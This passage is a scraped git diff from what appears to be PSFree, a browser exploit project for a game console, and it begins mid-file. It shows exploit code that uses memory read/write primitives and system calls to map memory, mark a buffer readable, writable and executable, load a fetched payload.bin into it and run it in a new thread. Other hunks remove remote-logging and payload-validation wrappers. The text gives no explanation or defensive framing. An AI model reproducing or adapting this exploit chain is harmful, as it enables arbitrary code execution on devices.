}, 2000); // 2 second delay
|
||||
});
|
||||
function malloc32(sz) {
|
||||
var backing = new Uint8Array(0x10000 + sz * 4);
|
||||
nogc.push(backing);
|
||||
var ptr = mem.readp(mem.addrof(backing).add(0x10));
|
||||
ptr.backing = new Uint32Array(backing.buffer);
|
||||
return ptr;
|
||||
}
|
||||
window.pld_size = new Int(0x26200000, 0x9);
|
||||
|
||||
var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
|
||||
var payload = window.pld;
|
||||
var bufLen = payload.length * 4
|
||||
var payload_loader = malloc32(bufLen);
|
||||
var loader_writer = payload_loader.backing;
|
||||
for (var i = 0; i < payload.length; i++) {
|
||||
loader_writer[i] = payload[i];
|
||||
}
|
||||
chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
|
||||
var pthread = malloc(0x10);
|
||||
|
||||
call_nze(
|
||||
'pthread_create',
|
||||
pthread,
|
||||
0,
|
||||
payload_loader,
|
||||
payload_buffer,
|
||||
);
|
||||
}),1000);
|
||||
+3
-25
@@ -25,38 +25,16 @@ export class DieError extends Error {
|
||||
}
|
||||
|
||||
export function die(msg='') {
|
||||
// Kirim ke remote logger jika tersedia
|
||||
if (window.RemoteLogger) {
|
||||
window.RemoteLogger.error(`FATAL ERROR: ${msg}`);
|
||||
}
|
||||
|
||||
// Juga kirim ke console.error browser untuk debugging
|
||||
window.console.error(`FATAL ERROR: ${msg}`);
|
||||
|
||||
// Update UI status jika tersedia
|
||||
if (typeof updateUIStatus === 'function') {
|
||||
updateUIStatus('error', msg);
|
||||
}
|
||||
|
||||
throw new DieError(msg);
|
||||
}
|
||||
|
||||
const consoleElement = document.getElementById('console');
|
||||
const console = document.getElementById('console');
|
||||
export function log(msg='') {
|
||||
// Tambahkan ke konsol lokal
|
||||
consoleElement.append(msg + '\n');
|
||||
|
||||
// Kirim ke remote logger jika tersedia
|
||||
if (window.RemoteLogger) {
|
||||
window.RemoteLogger.debug(msg);
|
||||
}
|
||||
|
||||
// Juga kirim ke console.log browser untuk debugging
|
||||
window.console.log(msg);
|
||||
console.append(msg + '\n');
|
||||
}
|
||||
|
||||
export function clear_log() {
|
||||
consoleElement.innerHTML = null;
|
||||
console.innerHTML = null;
|
||||
}
|
||||
|
||||
// alignment must be 32 bits and is a power of 2
|
||||
|
||||
Generated
-6
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"name": "PSFree",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {}
|
||||
}
|
||||
+5
-67
@@ -1,68 +1,6 @@
|
||||
// Function to validate the payload
|
||||
function validatePayload(buffer) {
|
||||
// Check the size of the payload
|
||||
if (buffer.byteLength < 100) {
|
||||
console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes");
|
||||
}
|
||||
fetch('./payload.bin').then(res => {
|
||||
res.arrayBuffer().then(arr => {
|
||||
window.pld = new Uint32Array(arr);
|
||||
|
||||
// Check if the payload has a valid header
|
||||
// This is just a simple example, adjust to match the actual payload format
|
||||
const view = new DataView(buffer);
|
||||
const magic = view.getUint32(0, true); // Little endian
|
||||
|
||||
// Log payload info for debugging
|
||||
console.log("Payload size:", buffer.byteLength, "bytes");
|
||||
console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16));
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Function to load the payload with error handling
|
||||
function loadPayload() {
|
||||
console.log("Loading payload.bin...");
|
||||
|
||||
fetch('./payload.bin')
|
||||
.then(res => {
|
||||
if (!res.ok) {
|
||||
throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`);
|
||||
}
|
||||
console.log("Payload fetched successfully, processing...");
|
||||
return res.arrayBuffer();
|
||||
})
|
||||
.then(arr => {
|
||||
try {
|
||||
// Validate the payload
|
||||
if (validatePayload(arr)) {
|
||||
// Store payload in window.pld
|
||||
window.pld = new Uint32Array(arr);
|
||||
console.log("Payload loaded and validated successfully");
|
||||
|
||||
// Dispatch event to notify other components
|
||||
const event = new CustomEvent('payloadLoaded', {
|
||||
detail: { size: arr.byteLength }
|
||||
});
|
||||
document.dispatchEvent(event);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("Error processing payload:", e);
|
||||
|
||||
// Dispatch error event
|
||||
const event = new CustomEvent('payloadError', {
|
||||
detail: { error: e.message }
|
||||
});
|
||||
document.dispatchEvent(event);
|
||||
}
|
||||
})
|
||||
.catch(err => {
|
||||
console.error("Error loading payload:", err);
|
||||
|
||||
// Dispatch error event
|
||||
const event = new CustomEvent('payloadError', {
|
||||
detail: { error: err.message }
|
||||
});
|
||||
document.dispatchEvent(event);
|
||||
});
|
||||
}
|
||||
|
||||
// Load payload when the script runs
|
||||
loadPayload();
|
||||
})
|
||||
})
|
||||
Reference in New Issue
Block a user